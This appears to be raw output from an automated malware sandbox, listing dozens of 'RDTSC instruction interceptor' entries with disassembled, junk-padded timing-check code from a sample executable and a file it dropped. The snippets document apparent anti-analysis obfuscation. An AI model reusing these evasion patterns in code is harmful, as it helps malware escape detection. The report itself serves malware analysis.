Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFA72 second address: 8EFA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F105534B220h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFA8B second address: 8EFA99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F105527A099h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F344D second address: 8F34AE instructions: 0x00000000 rdtsc 0x00000002 je 00007F105534B218h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a ja 00007F105534B242h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 jmp 00007F105534B222h 0x0000001a pop ecx 0x0000001b jmp 00007F105534B21Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F34AE second address: 8F34C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F105527A086h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F34C4 second address: 8F34C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4BCC second address: 8F4BE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A093h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908C15 second address: 908C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908C21 second address: 908C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908C2C second address: 908C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908DCC second address: 908DEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F105527A086h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F105527A092h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908DEE second address: 908DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F105534B216h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908DFA second address: 908DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90922C second address: 90923B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007F105534B21Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90923B second address: 90924F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F105527A088h 0x0000000a ja 00007F105527A08Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9094DF second address: 9094E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9094E3 second address: 909500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jl 00007F105527A086h 0x0000000d pop ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C8C2 second address: 90C8C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C8C6 second address: 90C911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, ebx 0x0000000b jmp 00007F105527A095h 0x00000010 push 00000004h 0x00000012 mov dword ptr [ebp+122D243Ah], edi 0x00000018 call 00007F105527A089h 0x0000001d push eax 0x0000001e jmp 00007F105527A092h 0x00000023 pop eax 0x00000024 push eax 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push esi 0x00000029 pop esi 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C911 second address: 90C932 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F105534B220h 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C932 second address: 90C93C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F105527A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C93C second address: 90C954 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F105534B223h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C954 second address: 90C970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007F105527A08Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C970 second address: 90C974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90C974 second address: 90C978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CC29 second address: 90CC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CC36 second address: 90CC5C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F105527A094h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DF55 second address: 90DF69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F105534B216h 0x0000000e js 00007F105534B216h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DF69 second address: 90DF8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F105527A095h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DF8D second address: 90DF9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F105534B21Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DF9B second address: 90DF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90FD49 second address: 90FD4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911AB1 second address: 911AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911AB7 second address: 911ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B21Bh 0x00000009 popad 0x0000000a jmp 00007F105534B21Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F105534B216h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911ADD second address: 911AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911AE1 second address: 911AFB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F105534B216h 0x00000008 jmp 00007F105534B21Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802F7 second address: 4E802FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802FB second address: 4E80301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E804AC second address: 4E80507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bl, ah 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F105527A08Fh 0x00000014 xor eax, 36AC574Eh 0x0000001a jmp 00007F105527A099h 0x0000001f popfd 0x00000020 popad 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80507 second address: 4E8050B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8050B second address: 4E80524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A095h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80524 second address: 4E8052A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8052A second address: 4E8052E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8052E second address: 4E8053D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8053D second address: 4E80541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80541 second address: 4E80545 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80545 second address: 4E8054B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8054B second address: 4E80579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, 14CAh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f call 00007F105534B227h 0x00000014 push esi 0x00000015 pop edi 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 mov ax, bx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E805E7 second address: 4E80662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 add dword ptr [esp], 6000A3CBh 0x0000000f pushad 0x00000010 jmp 00007F105527A097h 0x00000015 call 00007F105527A098h 0x0000001a pushfd 0x0000001b jmp 00007F105527A092h 0x00000020 jmp 00007F105527A095h 0x00000025 popfd 0x00000026 pop ecx 0x00000027 popad 0x00000028 call 00007F10C5D1DA27h 0x0000002d push 759227D0h 0x00000032 push dword ptr fs:[00000000h] 0x00000039 mov eax, dword ptr [esp+10h] 0x0000003d mov dword ptr [esp+10h], ebp 0x00000041 lea ebp, dword ptr [esp+10h] 0x00000045 sub esp, eax 0x00000047 push ebx 0x00000048 push esi 0x00000049 push edi 0x0000004a mov eax, dword ptr [759B0140h] 0x0000004f xor dword ptr [ebp-04h], eax 0x00000052 xor eax, ebp 0x00000054 push eax 0x00000055 mov dword ptr [ebp-18h], esp 0x00000058 push dword ptr [ebp-08h] 0x0000005b mov eax, dword ptr [ebp-04h] 0x0000005e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000065 mov dword ptr [ebp-08h], eax 0x00000068 lea eax, dword ptr [ebp-10h] 0x0000006b mov dword ptr fs:[00000000h], eax 0x00000071 ret 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F105527A08Ah 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80662 second address: 4E80674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105534B21Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80674 second address: 4E80678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80678 second address: 4E806DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c jmp 00007F105534B227h 0x00000011 mov edx, dword ptr [ebp+0Ch] 0x00000014 jmp 00007F105534B226h 0x00000019 mov esi, edx 0x0000001b jmp 00007F105534B220h 0x00000020 mov al, byte ptr [edx] 0x00000022 jmp 00007F105534B220h 0x00000027 inc edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806DF second address: 4E806E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806E3 second address: 4E80700 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80700 second address: 4E80710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105527A08Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80710 second address: 4E806DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007F105534B227h 0x0000000f jne 00007F105534B1A5h 0x00000015 mov al, byte ptr [edx] 0x00000017 jmp 00007F105534B220h 0x0000001c inc edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80763 second address: 4E80799 instructions: 0x00000000 rdtsc 0x00000002 mov bx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 sub edx, esi 0x0000000a jmp 00007F105527A08Dh 0x0000000f mov edi, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F105527A098h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80799 second address: 4E807A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B21Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807A8 second address: 4E807C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105527A094h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807C0 second address: 4E807C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807C4 second address: 4E80866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 jmp 00007F105527A097h 0x0000000e lea ebx, dword ptr [edi+01h] 0x00000011 jmp 00007F105527A096h 0x00000016 mov al, byte ptr [edi+01h] 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F105527A08Eh 0x00000020 sbb cx, 0C18h 0x00000025 jmp 00007F105527A08Bh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F105527A098h 0x00000031 sub cx, 7678h 0x00000036 jmp 00007F105527A08Bh 0x0000003b popfd 0x0000003c popad 0x0000003d inc edi 0x0000003e pushad 0x0000003f mov ecx, 1A8121CBh 0x00000044 pushad 0x00000045 mov bl, ch 0x00000047 popad 0x00000048 popad 0x00000049 test al, al 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e mov bx, E284h 0x00000052 mov dx, A2F0h 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80866 second address: 4E808A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B226h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F10C5DE3415h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F105534B21Dh 0x00000017 pop eax 0x00000018 jmp 00007F105534B221h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E808A9 second address: 4E80990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F105527A097h 0x00000009 or esi, 47FAC65Eh 0x0000000f jmp 00007F105527A099h 0x00000014 popfd 0x00000015 jmp 00007F105527A090h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ecx, edx 0x0000001f pushad 0x00000020 movzx esi, di 0x00000023 pushfd 0x00000024 jmp 00007F105527A093h 0x00000029 adc cx, 011Eh 0x0000002e jmp 00007F105527A099h 0x00000033 popfd 0x00000034 popad 0x00000035 shr ecx, 02h 0x00000038 pushad 0x00000039 mov si, B683h 0x0000003d call 00007F105527A098h 0x00000042 movzx ecx, dx 0x00000045 pop ebx 0x00000046 popad 0x00000047 rep movsd 0x00000049 rep movsd 0x0000004b rep movsd 0x0000004d rep movsd 0x0000004f rep movsd 0x00000051 jmp 00007F105527A08Ah 0x00000056 mov ecx, edx 0x00000058 jmp 00007F105527A090h 0x0000005d and ecx, 03h 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F105527A097h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80990 second address: 4E809A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105534B224h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809A8 second address: 4E80A06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d pushad 0x0000000e call 00007F105527A094h 0x00000013 pushfd 0x00000014 jmp 00007F105527A092h 0x00000019 adc si, 27C8h 0x0000001e jmp 00007F105527A08Bh 0x00000023 popfd 0x00000024 pop eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F105527A08Fh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A06 second address: 4E80A1D instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov esi, edx 0x00000014 mov ecx, edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A1D second address: 4E80AB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A094h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b pushad 0x0000000c mov ecx, 7F4C635Dh 0x00000011 jmp 00007F105527A08Ah 0x00000016 popad 0x00000017 mov ecx, dword ptr [ebp-10h] 0x0000001a pushad 0x0000001b jmp 00007F105527A08Eh 0x00000020 mov ch, A9h 0x00000022 popad 0x00000023 mov dword ptr fs:[00000000h], ecx 0x0000002a jmp 00007F105527A08Dh 0x0000002f pop ecx 0x00000030 pushad 0x00000031 mov ebx, ecx 0x00000033 jmp 00007F105527A098h 0x00000038 popad 0x00000039 pop edi 0x0000003a pushad 0x0000003b popad 0x0000003c pop esi 0x0000003d jmp 00007F105527A08Fh 0x00000042 pop ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 jmp 00007F105527A08Bh 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80AB3 second address: 4E80AC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105534B222h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80AC9 second address: 4E80ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80ACD second address: 4E80AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F105534B21Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80AE2 second address: 4E805E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 4F8A6503h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0008h 0x0000000e cmp dword ptr [ebp-2Ch], 10h 0x00000012 mov eax, dword ptr [ebp-40h] 0x00000015 jnc 00007F105527A085h 0x00000017 push eax 0x00000018 lea edx, dword ptr [ebp-00000590h] 0x0000001e push edx 0x0000001f call esi 0x00000021 push 00000008h 0x00000023 jmp 00007F105527A090h 0x00000028 push 1598785Dh 0x0000002d pushad 0x0000002e pushad 0x0000002f mov ecx, edi 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 7BF5EE second address: 7BF5F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F105534B216h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 937BF9 second address: 937C09 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F105527A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 937C09 second address: 937C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 94069F second address: 9406B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jmp 00007F105527A08Fh 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9406B5 second address: 9406BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9406BD second address: 9406C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 94093B second address: 940941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 940941 second address: 940967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F105527A08Fh 0x00000014 rdtsc
